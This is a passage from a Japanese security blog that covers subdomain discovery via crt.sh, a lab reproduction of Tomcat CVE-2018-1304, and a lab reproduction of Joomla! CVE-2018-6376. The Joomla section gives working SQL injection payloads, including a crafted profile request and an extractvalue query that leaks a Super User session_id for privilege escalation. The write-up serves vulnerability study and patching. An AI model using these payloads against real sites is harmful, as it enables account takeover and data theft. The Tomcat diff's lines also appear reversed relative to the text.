| products.example.com | C=US, O=Symantec Corporation,  | 2016-07-14T00:00:00 |
|                      | OU=Symantec Trust Network,     |                     |
|                      | CN=Symantec Class 3 Secure     |                     |
|                      | Server CA - G4                 |                     |
| support.example.com  | C=US, O=Symantec Corporation,  | 2016-07-14T00:00:00 |
|                      | OU=Symantec Trust Network,     |                     |
|                      | CN=Symantec Class 3 Secure     |                     |
|                      | Server CA - G4                 |                     |
| www.example.com      | C=US, O=Symantec Corporation,  | 2016-07-14T00:00:00 |
|                      | OU=Symantec Trust Network,     |                     |
|                      | CN=Symantec Class 3 Secure     |                     |
|                      | Server CA - G4                 |                     |
| *.example.com        | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
| m.example.com        | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
| www.example.com      | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
| *.example.com        | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
| www.example.com      | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
+----------------------+--------------------------------+---------------------+

今までサブドメイン名を探すためにMetasploitやその他のOSINTツールを使ったりしていたかと思いますが、こちらでも似たことができます。 ただし、OSINTツールはGoogle検索の結果なども使っており、HTTPS対応していないドメイン名も取得できるため、必ずしもログサーバからの検索の方が網羅性が高いとは限りません。 今後HTTPS対応のサイトが増えてログサーバに登録される証明書が増えれば検索できるドメイン名はどんどん増えていくと思います。

OSINTツールの紹介をした以下のような記事もあるようです!

qiita.com

VPNサーバを探したりとか、色々と攻撃に使えそうで捗りますね(もちろん自分の管理外のサーバへの攻撃は駄目です)。

また、queryを投げることができるのでOrganization名などでも検索できます。

$ crtsh search --query Facebook
+-------------------------------+---------------------------+----------------------+---------+---------------------------+
|          COMMON NAME          |       ORGANIZATION        |       LOCALITY       | COUNTRY |         NOT AFTER         |
+-------------------------------+---------------------------+----------------------+---------+---------------------------+
| *.ak.fbcdn.net                | Facebook                  | Palo Alto            | US      | May 11 23:59:00 2013 GMT  |
| connect.facebook.net          | Facebook                  | Palo Alto            | US      | May 11 23:59:00 2013 GMT  |
| m.ak.fbcdn.net                | Facebook                  | Palo Alto            | US      | May 11 23:59:00 2013 GMT  |
| facebook.drivebenfield.com    | Benfield Motor Group      | Newcastle upon Tyne  | GB      | Sep 26 23:59:59 2017 GMT  |
| m.ak.fbcdn.net                | Facebook                  | Palo Alto            | US      | Apr 4 14:12:07 2014 GMT   |
| connect.facebook.net          | Facebook                  | Palo Alto            | US      | Apr 1 14:12:51 2014 GMT   |

これは全文検索みたいな感じなので、Organization名じゃなくCommon Nameの方でヒットしたりもしてますね。 ちなみにcrt.shで検索しても一覧にドメイン名は表示されないので、こっちのツールを使うほうが便利です!!

crt.sh | Facebook

少し実装について説明すると、crt.shのGETパラメータに output=json をつけるとJSONで返してくれるのでそれをパースするだけです。簡単!

と思ったのですが、何故かJSONで返してくれないページが多いです。あとJSON内に欲しい情報がないことも多かった。 crt.shのバグじゃないかなーと思ってます。 ということで、裏側ではそれぞれのページをスクレイピングして取ってきていたりします。 なのでレイアウト変わると死にます。 開発時間2時間ぐらいなので仕方ない。

まとめ

自分でログサーバから証明書を定期的に取ってきて貯めようと思ったらすでに存在しました(存在するだろうとは思ってましたが)。 仕方ないので自分でCLI作ってcrt.shから間接的にドメイン名一覧を取得したりして遊びました。 OSINTに使えてしまうので、内部でしか使わないドメイン名に証明書発行するときはログサーバに登録されないようにとか、ちゃんと考えないとなーと思いました。 EV以外はログサーバに登録しないところもあるみたいですが、今後どうなるかは分かりませんね。。

Tomcatの脆弱性(CVE-2018-1304) について調べてみた

Tomcat脆弱性(CVE-2018-1304, CVE-2018-1305)が先日公開されました。 最近自分が触ったことのないものの脆弱性を調べたりしているので、その一環で挑戦してみました。

脆弱性のあるバージョンとかは参考サイトを確認して下さい。 今回はどういう設定にすると脆弱性の影響があるのか、またそれの検証とTomcatソースコードデバッグあたりをやっていきます。 Tomcatmavenなど素人なので、とりあえず動かしてみたものの一般的じゃない設定なども多いかもしれません。 もし気付いた方がいればご指摘頂けると幸いです。

何となく番号が早かったということでCVE-2018-1304から調べたのですが、結構疲れてしまってCVE-2018-1305についてはちゃんと検証しておりません。 アノテーションの話みたいなので、元気になったらあとで調べるかもしれません。

参考

Tomcat脆弱性関連

Tomcatデバッグ関連

概要

CVE-2018-1304は一言で言うと、セキュリティの制約が回避されてしまう脆弱性になります。 セキュリティの制約には、特定のロールしかアクセスできない、GETは禁止、HTTPSのみ許可、など様々な設定があります。 特にadminのみ許可、のような制限を入れていた場合に回避されてしまうのでWebサイトによっては影響が大きいかもしれません。

ですが、影響があるのはURLのマッピング設定で ""(空文字)を使っている場合のみになります。 マッピング設定はweb.xmlアノテーションで設定するもので、 /users にリクエストが来たらこのクラスを呼ぶ、みたいなやつですね。 普通rootをマッピングするとしても / にすると思うので、 ""(空文字)になってることはあまりないんじゃないかなーと思ってます。 どこかのブログなどでにそういう設定例があったりすると、多く使われていたりするのかもしれませんが。

この脆弱性の影響がある人はかなり少ない気がしているので、レベルがImportantってのは高いんじゃないかなーと思ったり思わなかったりします。 ただ影響があるサイトにとっては影響度は大きいので、そういう付け方なんですかね。

検証

ということで実際に検証してみます。 例によってDockerfileを用意しました。

github.com

さらっと用意しました、とか言いましたが実際はかなり大変でした。 Tomcatを業務で触ったことがなかったのでServletHello Worldだけで何時間も溶かしました。 未だにやり方はよく分かってないですが、一応動くようになったので良かったです。 次からTomcat脆弱性が来たらすぐ調査できるようになったので、Tomcat脆弱性はWelcomeです。

DockerはTomcat 9.0.4を使いました。 9.0.5で修正されているので、その直前のバージョンになります。

Servletのプロジェクトはmavenで雛形を作ったものを少しいじりました。

$ mvn archetype:generate -DgroupId=test.vuln -DartifactId=vuln -DarchetypeArtifactId=maven-archetype-webapp -DinteractiveMode=false

雛形を作ったあと、Servletを作ります。

$ mkdir -p vuln/src/main/java/test/vuln
$ vim vuln/src/main/java/test/vuln/HelloServlet.java
package test.vuln;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.annotation.HttpMethodConstraint;
import javax.servlet.annotation.HttpConstraint;
import javax.servlet.annotation.ServletSecurity;
import javax.servlet.annotation.WebServlet;

@WebServlet (name = "Root", urlPatterns = { "/" })
@ServletSecurity(value=@HttpConstraint(rolesAllowed={"admin"}))
public class HelloServlet extends HttpServlet {

  public void doGet(HttpServletRequest request, HttpServletResponse response)
    throws IOException, ServletException{

    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    out.println("<html>");
    out.println("<h1>CVE-2018-1304!!</h1>");
    out.println("</body>");
    out.println("</html>");
  }
}

GETが来たらCVE-2018-1304!!と返すだけの処理になっています。

ここでのポイントは @ServletSecurity@WebServlet です。 まず、 @WebServleturlPatterns/ と設定しており、 / へアクセスした時にこのクラスが呼ぶための設定です。 今回はvulnの下にあるので、/vuln/にアクセスするとHelloServletが呼ばれます。 次に @ServletSecurity はセキュリティの設定を色々するためのアノテーションで、今回は rolesAllowedadmin ロールだけがアクセスできるように設定しています。

ロールはtomcat-users.xml で設定しています。 以下はadminロールを定義し、 admin ユーザを admin ロールに所属させています。

$ cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
  <role rolename="admin"/>
  <user username="admin" password="password" roles="admin"/>
</tomcat-users>

次にBasic認証の設定をします。 設定方法がよく分かっていないのですが、web.xml に書いたら行けました。 (/ とかにアクセスするとBasic認証求められないのでよく分からない。。)

$ cat vuln/src/main/webapp/WEB-INF/web.xml
<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <login-config>
        <auth-method>BASIC</auth-method>
        <realm-name>default</realm-name>
  </login-config>
</web-app>

これで、/vuln にアクセスするとBasic認証が求められます。 adminロールじゃないとアクセス出来ないため、上記のID/PWでログインする必要があります。

次にmavenでビルドするためのpom.xmlを書きます。 とりあえず参考サイトからコピペしつつ、少しいじって以下のようにしたら動きました。 ちなみにこれもそれぞれの設定はあまり理解してません。

$ cd vuln
$ cat pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
 <properties>
    <maven.compiler.source>1.9</maven.compiler.source>
    <maven.compiler.target>1.9</maven.compiler.target>
  </properties>

  <modelVersion>4.0.0</modelVersion>
  <groupId>test.vuln</groupId>
  <artifactId>vuln</artifactId>
  <packaging>war</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>vuln Maven Webapp</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>provided</scope>
    </dependency>
  </dependencies>
  <build>
    <!-- mavenでコンパイルするたmのプラグイン -->
    <finalName>${project.artifactId}-${project.version}</finalName>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.1</version>
        <configuration>
          <encoding>UTF-8</encoding>
          <source>1.8</source>
          <target>1.8</target>
        </configuration>
      </plugin>
      <!-- mavenからtomcatにwarファイル展開するためのプラグイン -->
      <plugin>
        <groupId>org.apache.tomcat.maven</groupId>
        <artifactId>tomcat7-maven-plugin</artifactId>
        <version>2.2</version>
        <configuration>
          <path>/</path><!-- webapps配下に展開するためのファイル(ディレクトリ名) -->
          <server>tomcat-localhost</server>
          <url>http://localhost/manager/text</url>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

ビルドする準備ができたので、mavenでビルドします。 macOSでしか検証してないです。

$ mvn clean package
[INFO] Scanning for projects...
[INFO]
[INFO] ------------------------------------------------------------------------
[INFO] Building vuln Maven Webapp 1.0-SNAPSHOT
[INFO] ------------------------------------------------------------------------
...
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 4.725 s
[INFO] Finished at: 2018-02-25T19:29:15+09:00
[INFO] Final Memory: 17M/285M
[INFO] ------------------------------------------------------------------------

準備が終わったのでdocker buildします。イメージ名は適当にcveにしましたが、何でも良いです。

$ cd ..
$ docker build -t cve .

デフォルトだと8080番ポートでLISTENするので、8080番をポートフォワードします。

$ docker run --name cve -d -p 8080:8080 cve

起動したら、ブラウザで http://localhost:8080 にアクセスします。

f:id:knqyf263:20180225210733p:plain

猫が見えればOKです。

ではその状態で、 http://localhost:8080/vuln にアクセスしてみます。 今度はBasic認証が求められます。 先程設定した admin/password でログインしてCVE-2018-1304!!と表示されていれば成功です。

ようやく検証の下準備が完了したので、CVE-2018-1304の確認をしてみます。 HelloServlet.javaurlPatterns を編集します。 先程までは / でしたが、ここを "" の空文字に変更します。

 import javax.servlet.annotation.ServletSecurity;
 import javax.servlet.annotation.WebServlet;

-@WebServlet (name = "Root", urlPatterns = { "" })
+@WebServlet (name = "Root", urlPatterns = { "/" })
 @ServletSecurity(value=@HttpConstraint(rolesAllowed={"admin"}))
 public class HelloServlet extends HttpServlet {

ビルドし直して、コンテナに再度デプロイします。

$ cd vuln
$ mvn clean package
$ docker cp target/vuln-1.0-SNAPSHOT.war cve:/usr/local/tomcat/webapps/vuln.war

デプロイが終わるまで少しだけ時間差がありますが、コンテナで以下のようなログが出れば完了です。

Deployment of web application archive [/usr/local/tomcat/webapps/vuln.war] has finished in [20] ms

この状態で再度 http://localhost:8080:vuln にアクセスします。 先ほどと同じブラウザだとBasic認証のヘッダが付いたままなので、別ブラウザやシークレットウィンドウなどでアクセスして下さい。 すると、Basic認証が求められずにWebページが表示されます。 単純ですが、これが脆弱性です。 認証を回避できてWebページを表示できてしまいました。

f:id:knqyf263:20180225213944p:plain

概要で書いたとおり、 urlPatterns"" にしていると影響を受けます。 ということで検証は終わりです。

ソースコード確認

CVE-2018-1304のソースコード上の修正箇所は以下になります。

[Apache-SVN] Diff of /tomcat/trunk/java/org/apache/catalina/realm/RealmBase.java

これは findSecurityConstraints のメソッド内にあります。

534      @Override
535     public SecurityConstraint [] findSecurityConstraints(Request request,
536                                                          Context context) {

http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/realm/RealmBase.java?revision=1812188&view=markup&pathrev=1823306#l535

これはHTTPリクエストのpathやmethodから関連するSecurityConstraintを取り出すメソッドです。

どうやって関連するかを判断しているかというと、以下の583行目にある通り、リクエストの uriurlPatterns の比較になります。 これら(とmethod)が一致した場合はSecurityConstraintを配列に入れて返します。

582                  for(int k=0; k < patterns.length; k++) {
583                     if(uri.equals(patterns[k])) {
584                         found = true;
585                         if(collection[j].findMethod(method)) {
586                             if(results == null) {
587                                 results = new ArrayList<>();
588                             }
589                             results.add(constraints[i]);
590                         }
591                     }
592                 }

http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/realm/RealmBase.java?revision=1812188&view=markup&pathrev=1823306#l583

もし urlPatterns"" になってて uri/ になっている場合、このif文に入らずresultsが空の配列になり、SecurityConstraintがないものとして扱われそうです。 結果として、制約をすり抜けてしまいます。 これが脆弱性の原因だろうと推測されます。

ソースコードをさっと読んだ感じでは上の理解になりますが、実際にデバッガで変数の中身を覗いて確かめてみましょう。

デバッグ

上記リポジトリにDockerfile.debugも置いておいたので、それを用いてイメージをビルドするとデバッグ可能になります。 ですが、元のDockerfileでも環境変数を指定して起動スクリプトの引数を変えることでデバッグ出来るようになります。

$ docker run --name cve -e JPDA_SUSPEND=y -e JPDA_ADDRESS=0.0.0.0:8000 --rm -it -p 8080:8080 -p 8000:8000 cve catalina.sh jpda run

8000番ポートに繋ぐとデバッグ出来るような設定になっています。 JPDA_ADDRESSに0.0.0.0を書かないと繋がるようになりませんでしたし、JPDA_SUSPEND=yを付けないと繋がってもブレークポイントで止まってくれませんでした。 ココらへんググっても出なくて超絶ハマりました。

ブレークポイントを貼りたいので以下の公式サイトからソースコードを持ってきます。 ダウンロードしたら適当な場所で展開します。

Index of /dist/tomcat/tomcat-9/v9.0.4/src

次に、このソースをIntellij IDEAで開きます。 そしてRun/Debug Configurationsでリモートデバッグをする設定をします。 まず左上の+ボタンからRemoteを選びます。 名前は何でも良いです。ここではTomcatにしました。 そしてHostにlocalhost、Portに8000を設定します。

f:id:knqyf263:20180225220543p:plain

そして先程の RealmBase.javafindSecurityConstraintsブレークポイントを貼り、デバッグボタンを押します。 ブラウザで http://localhost:8080/vuln にアクセスすると、ブレークポイントで止まります。

f:id:knqyf263:20180225220936p:plain

ステップオーバーしていき、constraints 変数の中を見ると以下のようになっていました。 authRolesadmin になっており、アノテーションで設定したとおりになっていることが分かります。

f:id:knqyf263:20180225221120p:plain

肝心の比較の箇所を見てみます。 uri には "/" が入っていて、patterns[0]には""が入っています。 よって、このif文はfalseになりfoundはfalseのままになります。 先程のコードリーディングの予想通りであることが分かりました。

f:id:knqyf263:20180225221413p:plain

ということで、修正はまずuriの長さが0の場合に/を代入しています。 そして比較の箇所を以下のようにpatterns が空文字の場合もfound=trueになるような修正を入れています。

if(uri.equals(patterns[k]) || patterns[k].length() == 0 && uri.equals("/")) {

http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/realm/RealmBase.java?revision=1823306&view=markup&pathrev=1823306#l584

まとめ

TomcatServletは業務などで触れる機会もないので、CVE-2018-1304の調査がてら触ってみました。 正直設定の難度が高すぎてまだ全然理解できてないですが、とりあえず動くようになって良かったです。 Dockerで動いているTomcatへのリモートデバッグもかなりハマりましたが、最終的にはブレークポイントも貼れるようになってデバッグが捗るようになりました。 というかDockerへのリモートデバッグだけでも記事書けそうだな...などと思いました。 今回も脆弱性自体は難しいものではないですが、デバッガでソースコードを追うところまでやると学びが多いのでオススメです。

CVE-2018-1304の影響を受ける設定になっている場合は影響が大きい可能性があるので、修正済みのバージョンにアップデートしましょう。

Joomla!のSecond Order SQL Injection(CVE-2018-6376) について調べてみた

こないだWordPressについて調べてみたので、勢いでJoomla!脆弱性についても調べてみました。 Joomla!も使ったことがなく、今回検証で初めて触ったので何か間違いがあれば教えてもらいたいです。

概要

Joomla!の3.7.0以上、3.8.3以下のバージョンにSecond Order SQL Injection(CVE-2018-6376)が見つかったとのことです。 SQL Injectionなので、データベース上の任意のデータが読み出し可能です。 ただし攻撃条件として、攻撃者はManager権限でJoomla!に認証される必要があります。 Managerはデフォルトで存在するユーザグループで、Super UsersやAdministratorよりは弱い権限です。 Super Usersのsessionなどを奪うことで権限昇格する例が発見者により紹介されています。

修正済みのバージョン(3.8.4)がリリースされているので、アップデートすれば対応できます。

参考

以下が発見者によるサイトです。

Joomla! 3.8.3: Privilege Escalation via SQL Injection

そして以下はさらに詳しく解説したページになります。発見者のサイトだけだと、どうやって攻撃まで繋げるか細かいところが分からなかったのですが、こちらのサイトの解説で理解できました。

www.notsosecure.com

Second Order SQL Injectionとは?

PortSwiggerのサイトが分かりやすかったです。

portswigger.net

簡単に言うと、ユーザからのデータをアプリケーションがDBなどに一度保存し、あとで利用される時に発動するSQL Injectionです。 一度目はエスケープして保存したけど、そのデータを別の箇所で使う時にエスケープをし忘れてSQLの条件に入れてしまった、などがあるかと思います。 自分もあんまり詳しくなかったですが、昔からあるみたいですね。

http://takagi-hiromitsu.jp/diary/20051231.html#p05

詳細

TL;DR

  • Joomla!の3.7.0以上、3.8.3以下に影響あり
  • 攻撃者はManager権限以上を持っている必要がある
  • プロフィール更新ページの admin_style が脆弱なパラメータ
  • 保存時は安全にDBに保存される
  • 別ページで admin_style の値を用いる時に発動する
  • データは表示されないがエラーメッセージは表示される

検証

自分でやってみないと理解が深まらないかと思いますので、試してみます。 docker-compose.ymlを用意したので、まずこれで簡単にJoomla!を起動します。 3.8.3以下で脆弱なバージョンなら何でも良いのですが、今回は3.8.2のDockerイメージがあったのでそれを使っています。

github.com

http://localhost:10080 にアクセスするとJoomla!が起動しているかと思いますので、インストールの設定を進めていきます。 ユーザ名は何でも良いのですが、今回は分かりやすく"super"というユーザ名にしました(Super Users権限になるため)。

f:id:knqyf263:20180212161257p:plain

Docker ComposeでMySQLのホスト名はdbにしたので、以下のように設定します。

  • データベース:MySQLi
  • ホスト名:db
  • ユーザ名:root
  • パスワード:joomla
  • データベース名:joomla

f:id:knqyf263:20180212162934p:plain

あとは指示に従ってインストールを進めていき、インストールが終わったら

「Users」→「Manager」→「Add New User」

から新しくユーザを作成します。今回は"manager"というユーザ名で、Manager権限を付与して作成しました。 なので以下のようになります。

f:id:knqyf263:20180212163144p:plain

今回の検証では、Manager権限を持つ"manager"からSuper Users権限を持つ"super"へ権限昇格してみることにします。 "super"でログインしたままにしつつ、別のブラウザなどで"manager"でログインして下さい。

そして「Edit Account」を開きます。 このプロフィール更新ページに攻撃するべきパラメータがあります。 「Save」ボタンを押すと以下のようなPOSTリクエストが飛びます(長いのであちこち省略してます)。

POST /administrator/index.php?option=com_admin&view=profile&layout=edit&id=180 HTTP/1.1
Host: localhost:10080
Content-Length: 1970
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
...(省略)...

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[name]"

manager
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[username]"

manager

...(省略)...

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style]"


------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_language]"

...(省略)...

Content-Disposition: form-data; name="task"

profile.apply
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
...(省略)...

この jform[params][admin_style] が脆弱なパラメータになります。 まず、 admin_style が保存されるまでのコードを追ってみましょう。 上の解説記事によると、com_adminのControllerの save が呼び出されるようです。

/**
 * Overrides parent save method to check the submitted passwords match.
 *
 * @param   string  $key     The name of the primary key of the URL variable.
 * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
 *
 * @return  boolean  True if successful, false otherwise.
 *
 * @since   3.2
 */
public function save($key = null, $urlVar = null)
{
    $this->setRedirect(JRoute::_('index.php?option=com_admin&view=profile&layout=edit&id=' . JFactory::getUser()->id, false));
    $return = parent::save();
    if ($this->getTask() != 'apply')
    {
        // Redirect to the main page.
        $this->setRedirect(JRoute::_('index.php', false));
    }
    return $return;
}

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

実際にこの箇所で JFactory::getUser() の戻り値の中身を見てみたところuserに関する情報が格納されていました。 そして次の parent::save() で実際のDBへの保存が行われそうです。

親クラスはJControllerFormになりますが、定義が見つかりませんでした。 色々探してみたところ、以下の記述が見つかりました。

JLoader::registerAlias('JControllerForm',                   '\\Joomla\\CMS\\MVC\\Controller\\FormController', '5.0');

joomla-cms/classmap.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub

エイリアスとして登録できるんですかね...?FormControllerの save は以下にありました。 これまたコードが大きくてここで合ってるのか正直自信ないで、誰かJoomla!のプロが教えてくれることを期待してます。

https://github.com/joomla/joomla-cms/blob/6f6a89352bf0c774481cf05fdaec47242e905bd2/libraries/src/MVC/Controller/FormController.php#L614

FormControllerの save では、以下で $model を取り出していました。

public function save($key = null, $urlVar = null)
{
    // Check for request forgeries.
    \JSession::checkToken() or jexit(\JText::_('JINVALID_TOKEN'));
    $app   = \JFactory::getApplication();
    $model = $this->getModel();
    $table = $model->getTable();

そしてその後、POSTのデータを getForm で取り出しています。

// Validate the posted data.
// Sometimes the form needs some posted data, such as for plugins and modules.
$form = $model->getForm($data, false);

joomla-cms/FormController.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub

あとは validate でバリデーションしたり何やかんやしながら、最終的に $modelsave を呼んでいます。 ここでDBへの保存を行っているんじゃないかなーと思います。多分。。

// Attempt to save the data.
if (!$model->save($validData))

joomla-cms/FormController.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub

この $modelsave で、com_adminの AdminModelProfilesave が多分呼ばれます。

多分しか言ってない。。すみません。。

/**
 * Method to save the form data.
 *
 * @param   array  $data  The form data.
 *
 * @return  boolean  True on success.
 *
 * @since   1.6
 */
public function save($data)
{

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

先程 $modelgetForm が呼ばれていると言いましたが、それは恐らくここ。最初に見たControllerと同じで、com_adminの下にあるModelです。

/**
 * Method to get the record form.
 *
 * @param   array    $data      An optional array of data for the form to interogate.
 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
 *
 * @return  JForm    A JForm object on success, false on failure
 *
 * @since   1.6
 */
public function getForm($data = array(), $loadData = true)
{
    // Get the form.
    $form = $this->loadForm('com_admin.profile', 'profile', array('control' => 'jform', 'load_data' => $loadData));

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

ということでPOSTのデータが取り出されて、先程の save に渡されます。

public function save($data)
{
    $user = JFactory::getUser();
    unset($data['id']);
    unset($data['groups']);
    unset($data['sendEmail']);
    unset($data['block']);
    $isUsernameCompliant = $this->getState('user.username.compliant');
    if (!JComponentHelper::getParams('com_users')->get('change_login_name') && $isUsernameCompliant)
    {
        unset($data['username']);
    }
    // Bind the data.
    if (!$user->bind($data))
    {
        $this->setError($user->getError());
        return false;
    }
    $user->groups = null;
    // Store the data.
    if (!$user->save())

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

そして元々保存されていた $user にPOSTで渡ってきた $data をバインドして save を呼んでDBに保存します。 この $user は共通で定義されているモデルで、ちらっと見た感じではSQL Injectionは問題なさそうでした。

ということで長いことダラダラと書きましたが、「Save」を押した時のリクエストではSQL Injectionは起きなさそうです。 シングルクォートを入れてもエラーなくDBに保存されました。

admin_styleusers テーブルに params というカラムで保存されます。初期設定でランダムなprefixを付けている場合、以下のように qpqau_users などになっています。

mysql> select params from qpqau_users;
+---------------------------------------------------------------------------------------------------+
| params                                                                                            |
+---------------------------------------------------------------------------------------------------+
|                                                                                                   |
| {"admin_style":"'foo","admin_language":"'foo","language":"","editor":"","helpsite":"","timezone":""} |
+---------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

これを見れば分かる通り、 'foo は問題なく保存されています。

ではようやく本題です。 今までは単にユーザの入力を安全にDBの値を保存するだけなので実はどうでも良いです。 せっかくコード読んだからという理由で書いただけです。 SQL Injectionが発動する箇所が重要です。

上述した admin_style というパラメータはプロフィール更新の「Backend Template Style」に該当します。 見た目を変えるためのパラメータのようです。 通常はドロップダウンから選び、数値が保存されます。

f:id:knqyf263:20180213092938p:plain

admin_style が利用される場所を確認します。

function hathormessage_postinstall_condition()
{
...(省略)...

    // Get the current user admin style
    $adminstyle = $user->getParam('admin_style', '');

    if ($adminstyle != '')
    {
        $query = $db->getQuery(true)
            ->select('template')
            ->from($db->quoteName('#__template_styles'))
            ->where($db->quoteName('id') . ' = ' . $adminstyle[0])
            ->where($db->quoteName('client_id') . ' = 1');
        // Get the template name associated to the admin style
        $template = $db->setquery($query)->loadResult();
    }

joomla-cms/hathormessage.php at 3bef68463a5374e9aaf617111529be94d5d2fe70 · joomla/joomla-cms · GitHub

ここでは admin_style の値を取り出し、 $adminstyle に格納しています。 その後、SQLのWHEREに利用しています。 この際、特にエスケープなどはなく文字列連結で行われています。

では先程のPOSTリクエストを改ざんして AND sleep(5);– を送ってみましょう。自分はBurp Suiteを使っていますが、プロキシツールの使い方は調べれば山ほど出てくると思います。

(抜粋)
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style]"

AND sleep(5);–

f:id:knqyf263:20180213133455p:plain

正常に保存されたものの、エラーを見るとAだけになってしまっています。 これは上記のコードで $adminstyle[0] となっており、インデックスが0のものだけが利用されているからです。 文字列が与えられれば1文字目が取り出されます。

では配列を与えればいいな、ということで以下のように与えてみます。 配列の最初の要素である test1 が表示されることを狙っています。

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style]"

["test1", "test2", "test3"]

f:id:knqyf263:20180213133746p:plain

すると、これまた [ だけになっています。 JSONデコードなどしてくれればarrayになってくれたかもしれませんが、単に文字列として扱われてしまっています。

自分はこの辺りで困ったなーと思って真面目に考えず放置していたのですが、先程の解説記事に方法が書いてありました。 POSTのパラメータ名を jform[params][admin_style][0] に変えるという方法です。 こうすればarrayとして扱われます。 再度送ってみます。

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style][0]"

AND sleep(5);--

f:id:knqyf263:20180213133918p:plain

エラーメッセージに AND sleep(5) が表示されているこが分かります。 ということで成功しました。 arrayに変えてみるという方法は脆弱性でもたまにありますし、CTFでも以前出題されているのを見たことがあるので、すぐに思いつかないと駄目ですね。。 少し憂鬱になりました。

DBにも以下のようにarrayで保存されています。

mysql> select params from qpqau_users;
+---------------------------------------------------------------------------------------------------------------+
| params                                                                                                        |
+---------------------------------------------------------------------------------------------------------------+
|                                                                                                               |
| {"admin_style":["AND sleep(5);--"],"admin_language":"","language":"","editor":"","helpsite":"","timezone":""} |
+---------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

今回はクエリの結果が画面に表示されたりはしませんが、エラーメッセージが表示されます。 なので extractvalue を使って欲しいデータを出力します。 詳細は以下を参照して下さい。

d.hatena.ne.jp

sessionテーブルに各ユーザの session_id が格納されているので、"Super Users"の session_id を狙います。 これはログイン中にのみレコードが存在するようなので、今回はシークレットウィンドウで"super"でログインしてから試しています。

extractvalue(0x0a,concat(0x0a,(select session_id from qpqau_session where username='super')))

こんな感じで session テーブルから "super" ユーザのsession_idをSELECTしています。 リクエストとしては以下です。

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style][0]"

extractvalue(0x0a,concat(0x0a,(select session_id from qpqau_session where username='super')))

f:id:knqyf263:20180213134651p:plain

無事に "super" ユーザの session_id が表示できました。 あとはこれを使えばSuper Users権限で好きに操作可能です。

発見者のページには以下のようにあったので、Super Users権限ならPHPの任意コードが実行可能になるようです。

By gaining full administrative privileges she can take over the Joomla! installation by executing arbitrary PHP code.

サラッと流しましたが、ここで一つ気になることがあるかと思います。 session テーブルと言いましたが、実際は qpqau_session テーブルです。 これはJoomla!のインストール時にランダムなprefixを付けるように設定したためです。 これは同じDBに複数のJoomla!をインストールしたい場合に有用なようです。 SQL Injectionがあった時のセキュリティ対策という記述も見かけたのですが、テーブル名のdumpは出来ることが多いので効果は薄めじゃないのかなーと思いました。

ということで、テーブル名を先に抜き出す必要があるな...などと考えていたのですが、どうやらその必要はないようです。 Joomla!のDBのprefixに関するドキュメントを見て下さい。

Database Table Prefix - Joomla! Documentation

